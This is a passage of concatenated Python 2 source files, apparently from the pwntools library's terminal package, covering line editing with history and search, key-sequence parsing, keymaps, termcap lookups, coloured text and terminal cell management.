        update_search_results()
    elif search_results:
        search_idx = (search_idx + 1) % len(search_results)
    redisplay()

def history_prev(*_):
    global history_idx, saved_buffer
    if history == []:
        return
    cancel_search()
    if history_idx is None:
        saved_buffer = (buffer_left, buffer_right)
        history_idx = -1
    if history_idx < len(history) - 1:
        history_idx += 1
        set_buffer(history[history_idx], u'')

def history_next(*_):
    global history_idx, saved_buffer
    if history_idx is None:
        return
    cancel_search()
    if history_idx == 0:
        set_buffer(*saved_buffer)
        history_idx = None
        saved_buffer = None
    else:
        history_idx -= 1
        set_buffer(history[history_idx], u'')

def backward_char(*_):
    global buffer_left, buffer_right
    commit_search()
    if buffer_left:
        buffer_right = buffer_left[-1] + buffer_right
        buffer_left = buffer_left[:-1]
    redisplay()

def forward_char(*_):
    global buffer_left, buffer_right
    commit_search()
    if buffer_right:
        buffer_left += buffer_right[0]
        buffer_right = buffer_right[1:]
    redisplay()

def insert_text(s):
    global history_idx, saved_buffer, buffer_left
    if history_idx is not None:
        history_idx = None
        saved_buffer = None
    buffer_left += s
    update_search_results()
    redisplay()

def submit(*_):
    if search_idx is not None:
        commit_search()
    else:
        keymap.stop()

def control_c(*_):
    global history_idx, saved_buffer
    if search_idx is not None:
        cancel_search()
    elif history_idx is not None:
        set_buffer(*saved_buffer)
        history_idx = None
        saved_buffer = None
    elif buffer_left or buffer_right:
        clear()
    else:
        raise KeyboardInterrupt

def control_d(*_):
    if buffer_left or buffer_right:
        return
    global eof
    eof = True
    keymap.stop()

def kill_to_end(*_):
    global buffer_right
    commit_search()
    buffer_right = []
    redisplay()

def delete_char_forward(*_):
    global buffer_right
    commit_search()
    if buffer_right:
        buffer_right = buffer_right[1:]
        redisplay()

def delete_char_backward(*_):
    global buffer_left
    if buffer_left:
        buffer_left = buffer_left[:-1]
        update_search_results()
        redisplay()

def kill_word_backward(*_):
    global buffer_left
    commit_search()
    flag = False
    while buffer_left:
        c = buffer_left[-1]
        if c[0] in delims:
            if flag:
                break
        else:
            flag = True
        buffer_left = buffer_left[:-1]
    redisplay()

def backward_word(*_):
    global buffer_left, buffer_right
    commit_search()
    flag = False
    while buffer_left:
        c = buffer_left[-1]
        if c[0] in delims:
            if flag:
                break
        else:
            flag = True
        buffer_right = buffer_left[-1] + buffer_right
        buffer_left = buffer_left[:-1]
    redisplay()

def forward_word(*_):
    global buffer_left, buffer_right
    commit_search()
    flag = False
    while buffer_right:
        c = buffer_right[0]
        if c[0] in delims:
            if flag:
                break
        else:
            flag = True
        buffer_left += buffer_right[0]
        buffer_right = buffer_right[1:]
    redisplay()

def go_beginning(*_):
    commit_search()
    set_buffer(u'', buffer_left + buffer_right)

def go_end(*_):
    commit_search()
    set_buffer(buffer_left + buffer_right, u'')

keymap = km.Keymap({
    '<nomatch>'   : self_insert,
    '<up>'        : history_prev,
    '<down>'      : history_next,
    '<left>'      : backward_char,
    '<right>'     : forward_char,
    '<del>'       : delete_char_backward,
    '<delete>'    : delete_char_forward,
    '<enter>'     : submit,
    'C-j'         : submit,
    'C-<left>'    : backward_word,
    'C-<right>'   : forward_word,
    'M-<left>'    : backward_word,
    'M-<right>'   : forward_word,
    'C-c'         : control_c,
    'C-d'         : control_d,
    'C-k'         : kill_to_end,
    'C-w'         : kill_word_backward,
    '<backspace>' : kill_word_backward,
    'M-<del>'     : kill_word_backward,
    'C-r'         : search_history,
    '<escape>'    : cancel_search,
    'C-a'         : go_beginning,
    'C-e'         : go_end,
    '<tab>'       : auto_complete,
    '<any>'       : handle_keypress,
    })

def readline(_size = None, prompt = '', float = True, priority = 10):
    # The argument  _size is unused, but is there for compatibility
    # with the existing readline

    global buffer_handle, prompt_handle, suggest_handle, eof, \
        show_suggestions

    show_suggestions = False
    eof = False
    if prompt:
        prompt_handle = term.output(prompt, float = float, priority = priority)
    else:
        prompt_handle = None
    buffer_handle = term.output(float = float, priority = priority)
    suggest_handle = None
    clear()
    if startup_hook:
        startup_hook()
    try:
        while True:
            try:
                try:
                    keymap.handle_input()
                except EOFError:
                    if len(buffer_left + buffer_right) == 0:
                        return ''
                if eof:
                    return ''
                else:
                    buffer = (buffer_left + buffer_right).encode('utf-8')
                    if buffer:
                        history.insert(0, buffer)
                    return buffer + '\n'
            except KeyboardInterrupt:
                control_c()
    finally:
        line = buffer_left + buffer_right + '\n'
        buffer_handle.update(line)
        buffer_handle.freeze()
        buffer_handle = None
        if prompt_handle:
            prompt_handle.freeze()
            prompt_handle = None
        if suggest_handle:
            suggest_handle.freeze()
            suggest_handle = None
        if shutdown_hook:
            shutdown_hook()

def init():
    # defer imports until initialization
    import sys, __builtin__
    from ..util import safeeval

    class Wrapper:
        def __init__(self, fd):
            self._fd = fd
        def readline(self, size = None):
            return readline(size)
        def __getattr__(self, k):
            return self._fd.__getattribute__(k)
    sys.stdin = Wrapper(sys.stdin)

    def raw_input(prompt = '', float = True):
        """raw_input(prompt = '', float = True)

        Replacement for the built-in `raw_input` using ``pwnlib``s readline
        implementation.

        Arguments:
            prompt(str): The prompt to show to the user.
            float(bool): If set to `True`, prompt and input will float to the
                         bottom of the screen when `term.term_mode` is enabled.
        """
        return readline(None, prompt, float)
    __builtin__.raw_input = raw_input

    def input(prompt = '', float = True):
        """input(prompt = '', float = True)

        Replacement for the built-in `input` using ``pwnlib``s readline
        implementation, and `pwnlib.util.safeeval.expr` instead of `eval` (!).

        Arguments:
            prompt(str): The prompt to show to the user.
            float(bool): If set to `True`, prompt and input will float to the
                         bottom of the screen when `term.term_mode` is enabled.
        """
        return safeeval.const(readline(None, prompt, float))
    __builtin__.input = input






# -*- coding: utf-8 -*-
__all__ = ['spinners']

def billboard(msg, window):
    return [msg[i : i + window].ljust(window, ' ') for i in xrange(len(msg))]

spinners = [
    ['/.......','./......','../.....','.../....','..../...','...../..','....../.',
     '.......\\','......\\.','.....\\..','....\\...','...\\....','..\\.....','.\\......'],
    billboard('   8=================D~~~   D:  ', 5),
    billboard('   trollololol lololol lololol     trollolololoooool      ', 5),
    ['|', '/', '-', '\\'],
    ['q', 'p', 'b', 'd'],
    ['.', 'o', 'O', '0', '*', ' ', ' ', ' '],
    ['▁', '▃', '▄', '▅', '▆', '▇', '█', '▇', '▆', '▅', '▄', '▃'],
    ['┤', '┘', '┴', '└', '├', '┌', '┬', '┐'],
    ['←', '↖', '↑', '↗', '→', '↘', '↓', '↙'],
    ['◢', '◢', '◣', '◣', '◤', '◤', '◥', '◥'],
    ['◐', '◓', '◑', '◒'],
    ['▖', '▘', '▝', '▗'],
    ['.', 'o', 'O', '°', ' ', ' ', '°', 'O', 'o', '.', ' ', ' '],
    ['<', '<', '∧', '∧', '>', '>', 'v', 'v'],
    ]






__all__ = ['getch', 'getraw', 'get', 'unget']

import errno
import os
import select
import string
import sys

from . import keyconsts as kc
from . import termcap

try:    _fd = sys.stdin.fileno()
except Exception: _fd = file('/dev/null', 'r').fileno()

def getch(timeout = 0):
    while True:
        try:
            rfds, _wfds, _xfds = select.select([_fd], [], [], timeout)
            if rfds:
                c = os.read(_fd, 1)
                return ord(c) if c else None
            else:
                return None
        except select.error as e:
            if e.args[0] == errno.EINTR:
                continue
            raise

def getraw(timeout = None):
    '''Get list of raw key codes corresponding to zero or more key presses'''
    cs = []
    c = getch(timeout)
    while c != None: # timeout
        cs.append(c)
        if c == None: # EOF
            break
        c = getch()
    return cs

class Matcher:
    def __init__(self, desc):
        self._desc = desc
        desc = desc.split('-')
        mods = desc[:-1]
        k = desc[-1]
        if k == '<space>':
            k = ' '
        m = kc.MOD_NONE
        if 'S' in mods:
            m |= kc.MOD_SHIFT
        if 'M' in mods:
            m |= kc.MOD_ALT
        if 'C' in mods:
            m |= kc.MOD_CTRL
        if   len(k) == 1:
            t = kc.TYPE_UNICODE
            c = k
            h = ord(k)
        elif k[0] == '<' and k in kc.KEY_NAMES_REVERSE:
            t = kc.TYPE_KEYSYM
            c = kc.KEY_NAMES_REVERSE[k]
            h = c
        elif k[:2] == '<f' and k[-1] == '>' and k[2:-1].isdigit():
            t = kc.TYPE_FUNCTION
            c = int(k[2:-1])
            h = c
        else:
            raise ValueError('bad key description "%s"' % k)
        self._type = t
        self._code = c
        self._mods = m
        self._hash = h | (m << 6) | (t << 7)

    def __call__(self, k):
        if isinstance(k, Key):
            return all([k.type == self._type,
                        k.code == self._code,
                        k.mods == self._mods,
                        ])

    def __eq__(self, other):
        if   isinstance(other, Matcher):
            return all([other._type == self._type,
                        other._code == self._code,
                        other._mods == self._mods,
                        ])
        elif isinstance(other, Key):
            return self.__call__(other)
        else:
            return False

    def __neq__(self, other):
        return not self == other

    def __hash__(self):
        return self._hash

    def __str__(self):
        return self._desc

class Key:
    def __init__(self, type, code = None, mods = kc.MOD_NONE):
        self.type = type
        self.code = code
        self.mods = mods
        self._str = None

    def __str__(self):
        if self._str:
            return self._str
        if   self.type == kc.TYPE_UNICODE:
            if self.code == ' ':
                s = '<space>'
            else:
                s = self.code
        elif self.type == kc.TYPE_KEYSYM:
            s = kc.KEY_NAMES.get(self.code, '<SYMNAME-%d>' % self.code)
        elif self.type == kc.TYPE_FUNCTION:
            s = '<f%d>' % self.code
        elif self.type == kc.TYPE_POSITION:
            s = 'Position(%d, %d)' % self.code
        elif self.type == kc.TYPE_EOF:
            s = 'EOF'
        else:
            s = '<UNKNOWN>'
        if self.mods & kc.MOD_SHIFT:
            s = 'S-' + s
        if self.mods & kc.MOD_ALT:
            s = 'M-' + s
        if self.mods & kc.MOD_CTRL:
            s = 'C-' + s
        self._str = s
        return s

    def __repr__(self):
        return self.__str__()

    def __eq__(self, other):
        if   isinstance(other, (unicode, str)):
            return Matcher(other)(self)
        elif isinstance(other, Matcher):
            return other(self)
        elif isinstance(other, Key):
            return all([self.type == other.type,
                        self.code == other.code,
                        self.mods == other.mods,
                        ])
        else:
            return False

_cbuf = []
_kbuf = []

def _read(timeout = 0):
    _cbuf.extend(getraw(timeout))

def _peek():
    if _cbuf:
        return _peek_ti() or _peek_csi() or _peek_simple()

def get(timeout = None):
    if _kbuf:
        return _kbuf.pop(0)
    k = _peek()
    if k:
        return k
    _read(timeout)
    return _peek()

def unget(k):
    _kbuf.append(k)

# terminfo
def _name_to_key(fname):
    if   fname in kc.FUNCSYMS:
        k = Key(kc.TYPE_KEYSYM, *kc.FUNCSYMS[fname])
    elif fname[0] == 'f' and fname[1:].isdigit():
        k = Key(kc.TYPE_FUNCTION, int(fname[1:]))
    elif fname[0] == 's':
        k = _name_to_key(fname[1:])
        if k:
            k.mods |= kc.MOD_SHIFT
    else:
        return None
    return k

_ti_table = None

def _peek_ti():
    global _cbuf
    if _ti_table == None:
        _init_ti_table()
    # XXX: Faster lookup, plox
    for seq, key in _ti_table:
        if _cbuf[:len(seq)] == seq:
            _cbuf = _cbuf[len(seq):]
            return key

def _init_ti_table():
    global _ti_table
    _ti_table = []
    for fname, name in zip(kc.STRFNAMES, kc.STRNAMES):
        seq = termcap.get(name)
        if not seq:
            continue
        k = _name_to_key(fname)
        if k:
            _ti_table.append((map(ord, seq), k))

# csi
def _parse_csi(offset):
    i = offset
    while i < len(_cbuf):
        c = _cbuf[i]
        if c >= 0x40 and c < 0x80:
            break
        i += 1
    if i >= len(_cbuf):
        return
    end = i
    cmd = [c, None, None]

    i = offset
    in_num = False
    args = []
    if _cbuf[i] >= ord('<') and _cbuf[i] <= ord('?'):
        cmd[1] = _cbuf[i]
        i += 1
    while i < end:
        c = _cbuf[i]
        if   c >= ord('0') and c <= ord('9'):
            if not in_num:
                args.append(c - ord('0'))
                in_num = True
            else:
                args[-1] = args[-1] * 10 + c - ord('0')
        elif c == ord(';'):
            if not in_num:
                args.append(None)
            in_num = False
            if len(args) > 16:
                break
        elif c >= 0x20 and c <= 0x2f:
            cmd[2] = c
            break

        i += 1

    return cmd, args, end + 1

def _csi_func(cmd, args):
    k = Key(kc.TYPE_UNKNOWN)
    if len(args) > 1 and args[1]:
        k.mods |= args[1] - 1

    if   args[0] == 0x1b and len(args) == 3:
        k.type = kc.TYPE_KEYSYM
        k.code = args[2]
        return k
    elif args[0] in _csi_funcs:
        f = _csi_funcs[args[0]]
        k.type = f[0]
        k.code = f[1]
        return k

def _csi_ss3(cmd, args):
    t, c = _csi_ss3s[chr(cmd[0])]
    k = Key(t, c)
    if len(args) > 1 and args[1]:
        k.mods |= args[1] - 1
    return k

def _csi_u(cmd, args):
    k = Key(kc.TYPE_UNICODE, unichr(args[0]))
    if len(args) > 1 and args[1]:
        k.mods |= args[1] - 1
    return k

def _csi_R(cmd, args):
    if cmd[0] == ord('R') and cmd[1] == ord('?'):
        if len(args) < 2:
            return
        return Key(kc.TYPE_POSITION, (args[1], args[0]))
    else:
        return _csi_ss3(cmd, args)

_csi_handlers = {
    '~' : _csi_func,
    'u' : _csi_u,
    'R' : _csi_R,
    }

_csi_ss3s = {
    'A': (kc.TYPE_KEYSYM, kc.KEY_UP),
    'B': (kc.TYPE_KEYSYM, kc.KEY_DOWN),
    'C': (kc.TYPE_KEYSYM, kc.KEY_RIGHT),
    'D': (kc.TYPE_KEYSYM, kc.KEY_LEFT),
    'E': (kc.TYPE_KEYSYM, kc.KEY_BEGIN),
    'F': (kc.TYPE_KEYSYM, kc.KEY_END),
    'H': (kc.TYPE_KEYSYM, kc.KEY_HOME),
    'P': (kc.TYPE_FUNCTION, 1),
    'Q': (kc.TYPE_FUNCTION, 2),
    'R': (kc.TYPE_FUNCTION, 3),
    'S': (kc.TYPE_FUNCTION, 4),
    'Z': (kc.TYPE_KEYSYM, kc.KEY_TAB),
}

_csi_ss3kp = {

}

_csi_funcs = {
    1 : (kc.TYPE_KEYSYM, kc.KEY_FIND),
    2 : (kc.TYPE_KEYSYM, kc.KEY_INSERT),
    3 : (kc.TYPE_KEYSYM, kc.KEY_DELETE),
    4 : (kc.TYPE_KEYSYM, kc.KEY_SELECT),
    5 : (kc.TYPE_KEYSYM, kc.KEY_PAGEUP),
    6 : (kc.TYPE_KEYSYM, kc.KEY_PAGEDOWN),
    7 : (kc.TYPE_KEYSYM, kc.KEY_HOME),
    8 : (kc.TYPE_KEYSYM, kc.KEY_END),
    11: (kc.TYPE_FUNCTION, 1),
    12: (kc.TYPE_FUNCTION, 2),
    13: (kc.TYPE_FUNCTION, 3),
    14: (kc.TYPE_FUNCTION, 4),
    15: (kc.TYPE_FUNCTION, 5),
    17: (kc.TYPE_FUNCTION, 6),
    18: (kc.TYPE_FUNCTION, 7),
    19: (kc.TYPE_FUNCTION, 8),
    20: (kc.TYPE_FUNCTION, 9),
    21: (kc.TYPE_FUNCTION, 10),
    23: (kc.TYPE_FUNCTION, 11),
    24: (kc.TYPE_FUNCTION, 12),
    25: (kc.TYPE_FUNCTION, 13),
    26: (kc.TYPE_FUNCTION, 14),
    28: (kc.TYPE_FUNCTION, 15),
    29: (kc.TYPE_FUNCTION, 16),
    31: (kc.TYPE_FUNCTION, 17),
    32: (kc.TYPE_FUNCTION, 18),
    33: (kc.TYPE_FUNCTION, 19),
    34: (kc.TYPE_FUNCTION, 20),
    }

def _peekkey_csi(offset):
    global _cbuf
    ret = _parse_csi(offset)
    if not ret:
        _cbuf = _cbuf[offset:]
        return Key(kc.TYPE_UNICODE, u'[', kc.MOD_ALT)
    cmd, args, numb = ret
    # print cmd, args, '\r'
    _cbuf = _cbuf[numb:]
    k = None
    if   chr(cmd[0]) in _csi_handlers:
        k = _csi_handlers[chr(cmd[0])](cmd, args)
    elif chr(cmd[0]) in _csi_ss3s:
        k = _csi_ss3(cmd, args)
        if k and chr(cmd[0]) == 'Z':
            k.mods |= kc.MOD_SHIFT

    if k:
        return k
    else:
        return Key(kc.TYPE_UNKNOWN_CSI, (cmd, args))

def _peekkey_ss3(offset):
    global _cbuf
    if len(_cbuf) <= offset:
        return Key(kc.TYPE_UNICODE, u'O', kc.MOD_ALT)
    cmd = _cbuf[offset]
    if cmd < 0x40 or cmd >= 0x80:
        return
    _cbuf = _cbuf[numb:] # XXX: numb is not defined

    if chr(cmd) in _csi_ss3s:
        return Key(*_csi_ss3s[chr(cmd)])

    if chr(cmd) in _csi_ss3kp:
        t, c, a = _csi_ss3kp[chr(cmd)]
        if CONVERTKP and a: # XXX: CONVERTKP is not defined
            return Key(kc.TYPE_UNICODE, a)
        else:
            return Key(t, c)

def _peek_csi():
    global _cbuf
    # print 'csi', _cbuf, '\r'
    c0 = _cbuf[0]
    if   c0 == 0x1b and len(_cbuf) >= 2:
        c1 = _cbuf[1]
        if   c1 == ord('['):
            return _peekkey_csi(2)
        elif c1 == ord('O'):
            return _peekkey_ss3(2)
    elif c0 == 0x8f:
        return _peekkey_ss3(1)
    elif c0 == 0x9b:
        return _peekkey_csi(1)

def _peek_simple():
    global _cbuf
    # print 'simple', _cbuf, '\r'
    if not _cbuf:
        return
    c0 = _cbuf.pop(0)
    if   c0 is None:
        _cbuf = []
        return Key(kc.TYPE_EOF)
    elif c0 == 0x1b:
        if _cbuf:
            k = _peek()
            # print k
            if k:
                # need to deep copy or we risk modifying keys in ti table
                return Key(k.type, k.code, k.mods | kc.MOD_ALT)
        else:
            return Key(kc.TYPE_KEYSYM, kc.KEY_ESCAPE)
    elif c0 < 0xa0:
        if   c0 < 0x20:
            if   c0 == 8:
                k = Key(kc.TYPE_KEYSYM, kc.KEY_BACKSPACE)
            elif c0 == 9:
                k = Key(kc.TYPE_KEYSYM, kc.KEY_TAB)
            elif c0 in (10, 13):
                k = Key(kc.TYPE_KEYSYM, kc.KEY_ENTER)
            else:
                k = Key(kc.TYPE_UNICODE)
                if   c0 == 0:
                    k.code = u' '
                elif chr(c0 + 0x40) in string.uppercase:
                    k.code = unichr(c0 + 0x60)
                else:
                    k.code = unichr(c0 + 0x40)
                k.mods |= kc.MOD_CTRL
        elif c0 == 0x7f:
            # print 'del\r'
            k = Key(kc.TYPE_KEYSYM, kc.KEY_DEL)
        elif c0 >= 0x20 and c0 < 0x80:
            k = Key(kc.TYPE_UNICODE, unichr(c0))
        else:
            k = Key(kc.TYPE_UNICODE, unichr(c0 - 0x40), kc.MOD_CTRL | kc.MOD_ALT)
    else: # utf8
        n = 0
        if   c0 & 0b11100000 == 0b11000000:
            n = 2
        elif c0 & 0b11110000 == 0b11100000:
            n = 3
        elif c0 & 0b11111000 == 0b11110000:
            n = 4
        elif c0 & 0b11111100 == 0b11111000:
            n = 5
        elif c0 & 0b11111110 == 0b11111100:
            n = 6
        if n:
            c = [c0] + _cbuf[:n - 1]
            k = Key(kc.TYPE_UNICODE, ''.join(chr(b) for b in c).decode('utf8'))
            _cbuf = _cbuf[n - 1:]
        else:
            k = Key(kc.TYPE_UNKNOWN, _cbuf)
            _cbuf = []
    return k






__all__ = ['Keymap']

from . import key


class Keymap:
    def __init__(self, bindings, on_match = None, on_nomatch = None,
                  on_key = None):
        self._on_match = on_match
        self._on_nomatch = on_nomatch
        self._on_key = on_key
        self._top = {}
        self._cur = self._top
        self.trace = []
        self.register(bindings)

    def handle_input(self):
        self._doread = True
        while self._doread:
            self.send(key.get())

    def stop(self):
        self._doread = False

    @property
    def currently_entered(self):
        return ' '.join(map(str, self.trace))

    def reset(self):
        self._cur = self._top
        self.trace = []

    def send(self, k):
        if k is None:
            raise EOFError
        self.trace.append(k)
        if self._on_key:
            self._on_key(self.trace)
        match = False
        for m, (t, cbs) in self._cur.items():
            if m(k):
                self._cur = t
                if cbs:
                    match = True
                    if self._on_match:
                        self._on_match(self.trace)
                    for cb in cbs:
                        cb(self.trace)
        if not match and self._on_nomatch:
            self._on_nomatch(self.trace)
        tr = self.trace
        if len(self._cur) == 0 or not match:
            self.reset()
        if len(tr) > 1 and not match:
            self.send(k)

    def register(self, desc, cb = None):
        if isinstance(desc, dict):
            for k, v in desc.items():
                self.register(k, v)
        else:
            if   desc == '<match>':
                self.on_match(cb)
            elif desc == '<nomatch>':
                self.on_nomatch(cb)
            elif desc == '<any>':
                self.on_key(cb)
            else:
                ms = map(key.Matcher, desc.split(' '))
                if not ms:
                    return
                t = self._top
                for m in ms:
                    if m not in t:
                        t[m] = ({}, [])
                    t, cbs = t[m]
                cbs.append(cb)

    def unregister(self, desc, cb = None):
        ms = map(key.Matcher, desc.split(' '))
        if not ms:
            return
        t = self._top
        bt = []
        cbs = None
        for m in ms:
            if m not in t:
                return
            bt.append((t, cbs))
            t, cbs = t[m]
        if cb and cb in cbs:
            cbs.remove(cb)
        else:
            while True:
                try:
                    cbs.pop()
                except IndexError:
                    break
        # delete empty branch by backtracking
        while not t and not cbs:
            m = ms.pop()
            t, cbs = bt.pop()
            del t[m]

    def on_match(self, cb):
        self._on_match = cb

    def on_nomatch(self, cb):
        self._on_nomatch = cb

    def on_key(self, cb):
        self._on_key = cb






__all__ = ['get']
import curses
import os
import sys

cache = None

def get(cap, *args, **kwargs):
    default = kwargs.pop('default', '')

    if 'PWNLIB_NOTERM' in os.environ:
        return ''

    # Hack for readthedocs.org
    if 'READTHEDOCS' in os.environ:
        return ''

    if kwargs != {}:
        raise TypeError("get(): No such argument %r" % kwargs.popitem()[0])

    if cache == None:
        init()
    s = cache.get(cap)
    if not s:
        s = curses.tigetstr(cap)
        if s == None:
            s = curses.tigetnum(cap)
            if s == -2:
                s = curses.tigetflag(cap)
                if s == -1:
                    # default to empty string so tparm doesn't fail
                    s = ''
                else:
                    s = bool(s)
        cache[cap] = s
    # if `s' is not set `curses.tparm' will throw an error if given arguments
    if args and s:
        return curses.tparm(s, *args)
    else:
        return s

def init():
    global cache

    if 'PWNLIB_NOTERM' not in os.environ:
        # Fix for BPython
        try:
            curses.setupterm()
        except:
            pass

    cache = {}






import sys

from . import completer
from . import key
from . import keymap
from . import readline
from . import term
from . import termcap
from . import text
from . import completer

# Re-exports (XXX: Are these needed?)
output = term.output
width =  term.width
height = term.height
getkey = key.get
Keymap = keymap.Keymap

#: This is True exactly when we have taken over the terminal using :func:`init`.
term_mode = False

def can_init():
    """This function returns True iff stderr is a TTY and we are not inside a
    REPL.  Iff this function returns `True`, a call to :meth:`init` will let
    ``pwnlib`` manage the terminal.
    """

    if not sys.stdout.isatty():
        return False

    # Check for python -i
    if sys.flags.interactive:
        return False

    # Check fancy REPLs
    mods = sys.modules.keys()
    for repl in ['IPython', 'bpython', 'dreampielib']:
        if repl in mods:
            return False

    # The standard python REPL will have co_filename == '<stdin>' for some
    # frame. We raise an exception to set sys.exc_info so we can unwind the call
    # stack.
    try:
        raise BaseException
    except BaseException:
        frame = sys.exc_info()[2].tb_frame

    while frame:
        if frame.f_code.co_filename == '<stdin>':
            return False
        frame = frame.f_back

    return True


def init():
    """Calling this function will take over the terminal (iff :func:`can_init`
    returns True) until the current python interpreter is closed.

    It is on our TODO, to create a function to "give back" the terminal without
    closing the interpreter.
    """

    global term_mode

    if term_mode:
        return

    if not can_init():
        return

    term.init()
    def update_geometry():
        global height, width
        height = term.height
        width = term.width
    update_geometry()
    term.on_winch.append(update_geometry)
    readline.init()

    term_mode = True






import functools
import sys
import types

from . import termcap


def eval_when(when):
    if isinstance(when, file) or \
      when in ('always', 'never', 'auto', sys.stderr, sys.stdout):
        if   when == 'always':
            return True
        elif when == 'never':
            return False
        elif when == 'auto':
            return sys.stdout.isatty()
        else:
            return when.isatty()
    else:
        raise ValueError('text.when: must be a file-object or "always", "never" or "auto"')

class Module(types.ModuleType):
    def __init__(self):
        self.__file__ = __file__
        self.__name__ = __name__
        self.num_colors = termcap.get('colors', default = 8)
        self.has_bright = self.num_colors >= 16
        self.has_gray = self.has_bright
        self.when = 'auto'
        self._colors = {
            'black': 0,
            'red': 1,
            'green': 2,
            'yellow': 3,
            'blue': 4,
            'magenta': 5,
            'cyan': 6,
            'white': 7,
            }
        self._reset = '\x1b[m'
        self._attributes = {}
        for x, y in [('italic'   , 'sitm'),
                     ('bold'     , 'bold'),
                     ('underline', 'smul'),
                     ('reverse'  , 'rev')]:
            s = termcap.get(y)
            self._attributes[x] = s
        self._cache = {}

    @property
    def when(self):
        return self._when

    @when.setter
    def when(self, val):
        self._when = eval_when(val)

    def _fg_color(self, c):
        return termcap.get('setaf', c) or termcap.get('setf', c)

    def _bg_color(self, c):
        return termcap.get('setab', c) or termcap.get('setb', c)

    def _decorator(self, desc, init):
        def f(self, s, when = None):
            if when:
                if eval_when(when):
                    return init + s + self._reset
                else:
                    return s
            else:
                if self.when:
                    return init + s + self._reset
                else:
                    return s
        setattr(Module, desc, f)
        return functools.partial(f, self)

    def __getattr__(self, desc):
        try:
            ds = desc.replace('gray', 'bright_black').split('_')
            init = ''
            while ds:
                d = ds[0]
                try:
                    init += self._attributes[d]
                    ds.pop(0)
                except KeyError:
                    break
            def c():
                bright = 0
                c = ds.pop(0)
                if c == 'bright':
                    c = ds.pop(0)
                    if self.has_bright:
                        bright = 8
                return self._colors[c] + bright
            if ds:
                if ds[0] == 'on':
                    ds.pop(0)
                    init += self._bg_color(c())
                else:
                    init += self._fg_color(c())
                    if len(ds):
                        assert ds.pop(0) == 'on'
                        init += self._bg_color(c())
            return self._decorator(desc, init)
        except (IndexError, KeyError):
            raise AttributeError("'module' object has no attribute %r" % desc)

    def get(self, desc):
        return self.__getattr__(desc)

tether = sys.modules[__name__]
sys.modules[__name__] = Module()






__all__ = ['output', 'init']

# we assume no terminal can display more lines than this
MAX_TERM_HEIGHT = 200

# default values
width = 80
height = 25

# list of callbacks triggered on SIGWINCH
on_winch = []

import atexit
import fcntl
import os
import re
import signal
import struct
import sys
import termios
import threading
import traceback

from . import termcap

settings = None
_graphics_mode = False

fd = sys.stdout

def show_cursor():
    do('cnorm')

def hide_cursor():
    do('civis')

def update_geometry():
    global width, height
    hw = fcntl.ioctl(fd.fileno(), termios.TIOCGWINSZ, '1234')
    h, w = struct.unpack('hh', hw)
    # if the window shrunk and theres still free space at the bottom move
    # everything down
    if h < height and scroll == 0:
        if cells and cells[-1].end[0] < 0:
            delta = min(height - h, 1 - cells[-1].end[0])
            for cell in cells:
                cell.end = (cell.end[0] + delta, cell.end[1])
                cell.start = (cell.start[0] + delta, cell.start[1])
    height, width = h, w

def handler_sigwinch(signum, stack):
    update_geometry()
    redraw()
    for cb in on_winch:
        cb()

def handler_sigstop(signum, stack):
    resetterm()
    os.kill(os.getpid(), signal.SIGSTOP)

def handler_sigcont(signum, stack):
    setupterm()
    redraw()

def setupterm():
    global settings
    update_geometry()
    hide_cursor()
    do('smkx') # keypad mode
    if not settings:
        settings = termios.tcgetattr(fd.fileno())
    mode = termios.tcgetattr(fd.fileno())
    IFLAG = 0
    OFLAG = 1
    CFLAG = 2
    LFLAG = 3
    ISPEED = 4
    OSPEED = 5
    CC = 6
    mode[LFLAG] = mode[LFLAG] & ~(termios.ECHO | termios.ICANON | termios.IEXTEN)
    mode[CC][termios.VMIN] = 1
    mode[CC][termios.VTIME] = 0
    termios.tcsetattr(fd, termios.TCSAFLUSH, mode)

def resetterm():
    if settings:
        termios.tcsetattr(fd.fileno(), termios.TCSADRAIN, settings)
    show_cursor()
    do('rmkx')
    fd.write(' \x08') # XXX: i don't know why this is needed...
                      #      only necessary when suspending the process

def init():
    atexit.register(resetterm)
    setupterm()
    signal.signal(signal.SIGWINCH, handler_sigwinch)
    signal.signal(signal.SIGTSTP, handler_sigstop)
    signal.signal(signal.SIGCONT, handler_sigcont)
    # we start with one empty cell at the current cursor position
    put('\x1b[6n')
    fd.flush()
    s = ''
    while True:
        c = os.read(fd.fileno(), 1)
        s += c
        if c == 'R':
            break
    row, col = re.findall('\x1b' + r'\[(\d*);(\d*)R', s)[0]
    row = int(row) - height
    col = int(col) - 1
    cell = Cell()
    cell.start = (row, col)
    cell.end = (row, col)
    cell.content = []
    cell.frozen = True
    cell.float = 0
    cell.indent = 0
    cells.append(cell)
    class Wrapper:
        def __init__(self, fd):
            self._fd = fd
        def write(self, s):
            output(s, frozen = True)
        def __getattr__(self, k):
            return self._fd.__getattribute__(k)
    if sys.stdout.isatty():
        sys.stdout = Wrapper(sys.stdout)
    if sys.stderr.isatty():
        sys.stderr = Wrapper(sys.stderr)
    # freeze all cells if an exception is thrown
    orig_hook = sys.excepthook
    def hook(*args):
        resetterm()
        for c in cells:
            c.frozen = True
            c.float = 0
        if orig_hook:
            orig_hook(*args)
        else:
            traceback.print_exception(*args)
        # this is a bit esoteric
        # look here for details: https://stackoverflow.com/questions/12790328/how-to-silence-sys-excepthook-is-missing-error
        if fd.fileno() == 2:
            os.close(fd.fileno())
    sys.excepthook = hook

def put(s):
    fd.write(s)

def flush(): fd.flush()

def do(c, *args):
    s = termcap.get(c, *args)
    if s:
        put(s)

def goto((r, c)):
    do('cup', r - scroll + height - 1, c)

cells = []
scroll = 0

class Cell(object):
    pass

class Handle:
    def __init__(self, cell, is_floating):
        self.h = id(cell)
        self.is_floating = is_floating
    def update(self, s):
        update(self.h, s)
    def freeze(self):
        freeze(self.h)
    def delete(self):
        delete(self.h)

STR, CSI, LF, BS, CR, SOH, STX, OOB = range(8)
def parse_csi(buf, offset):
    i = offset
    while i < len(buf):
        c = buf[i]
        if c >= 0x40 and c < 0x80:
            break
        i += 1
    if i >= len(buf):
        return
    end = i
    cmd = [c, None, None]
    i = offset
    in_num = False
    args = []
    if buf[i] >= ord('<') and buf[i] <= ord('?'):
        cmd[1] = buf[i]
        i += 1
    while i < end:
        c = buf[i]
        if   c >= ord('0') and c <= ord('9'):
            if not in_num:
                args.append(c - ord('0'))
                in_num = True
            else:
                args[-1] = args[-1] * 10 + c - ord('0')
        elif c == ord(';'):
            if not in_num:
                args.append(None)
            in_num = False
            if len(args) > 16:
                break
        elif c >= 0x20 and c <= 0x2f:
            cmd[2] = c
            break
        i += 1
    return cmd, args, end + 1

def parse_utf8(buf, offset):
    c0 = buf[offset]
    n = 0
    if   c0 & 0b11100000 == 0b11000000:
